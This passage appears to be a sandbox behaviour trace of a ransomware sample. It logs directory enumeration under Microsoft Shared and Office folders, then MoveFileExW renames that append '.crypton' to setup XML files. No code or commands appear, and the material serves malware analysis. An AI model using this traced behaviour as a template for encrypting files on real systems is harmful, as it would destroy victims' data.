dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.252] GetFileType (hFile=0x198) returned 0x1 [0071.257] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7d5b480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7d5b480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.258] GetFileType (hFile=0x198) returned 0x1 [0071.263] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7d5b480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7d5b480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.263] GetFileType (hFile=0x198) returned 0x1 [0071.268] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7d5b480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7d5b480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.268] GetFileType (hFile=0x198) returned 0x1 [0071.274] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7d815e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7d815e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.274] GetFileType (hFile=0x198) returned 0x1 [0071.279] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7d815e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7d815e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.280] GetFileType (hFile=0x198) returned 0x1 [0071.287] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7d815e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7d815e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.287] GetFileType (hFile=0x198) returned 0x1 [0071.292] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7da7740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7da7740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.293] GetFileType (hFile=0x190) returned 0x1 [0071.297] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa7da7740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7da7740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0071.298] GetFileType (hFile=0x190) returned 0x1 [0071.302] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7da7740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7da7740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0071.303] GetFileType (hFile=0x198) returned 0x1 [0071.307] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa7dcd8a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7dcd8a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.311] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7dcd8a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7dcd8a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0071.315] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7dcd8a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7dcd8a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.316] GetFileType (hFile=0x198) returned 0x1 [0071.329] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa7df3a00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7df3a00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.329] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0071.330] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0071.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0071.331] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0071.331] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0071.331] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0071.331] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0071.332] CloseHandle (hObject=0x174) returned 1 [0071.338] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7e19b60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7e19b60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0071.343] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa7e19b60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7e19b60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.345] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.crypton"), dwFlags=0x2) returned 1 [0071.348] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.crypton"), dwFlags=0x2) returned 1 [0071.352] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0071.353] GetFileType (hFile=0x174) returned 0x1 [0071.358] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7e3fcc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7e3fcc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.360] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.crypton"), dwFlags=0x2) returned 1 [0071.364] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0071.370] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7e65e20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7e65e20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.372] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.crypton"), dwFlags=0x2) returned 1 [0071.375] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0071.381] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa7e8bf80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7e8bf80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.384] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.crypton"), dwFlags=0x2) returned 1 [0071.387] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0071.393] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7e8bf80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7e8bf80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.846] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.crypton"), dwFlags=0x2) returned 1 [0071.852] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.crypton"), dwFlags=0x2) returned 1 [0071.855] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.crypton"), dwFlags=0x2) returned 1 [0071.862] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0071.868] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa8328a20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8328a20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.871] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.crypton"), dwFlags=0x2) returned 1 [0071.874] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0071.875] GetFileType (hFile=0x174) returned 0x1 [0071.880] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa834eb80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa834eb80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.884] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.crypton"), dwFlags=0x2) returned 1 [0071.890] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa834eb80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa834eb80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.892] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.crypton"), dwFlags=0x2) returned 1 [0071.896] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0071.901] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa8374ce0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa8374ce0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.904] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.crypton"), dwFlags=0x2) returned 1 [0071.909] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 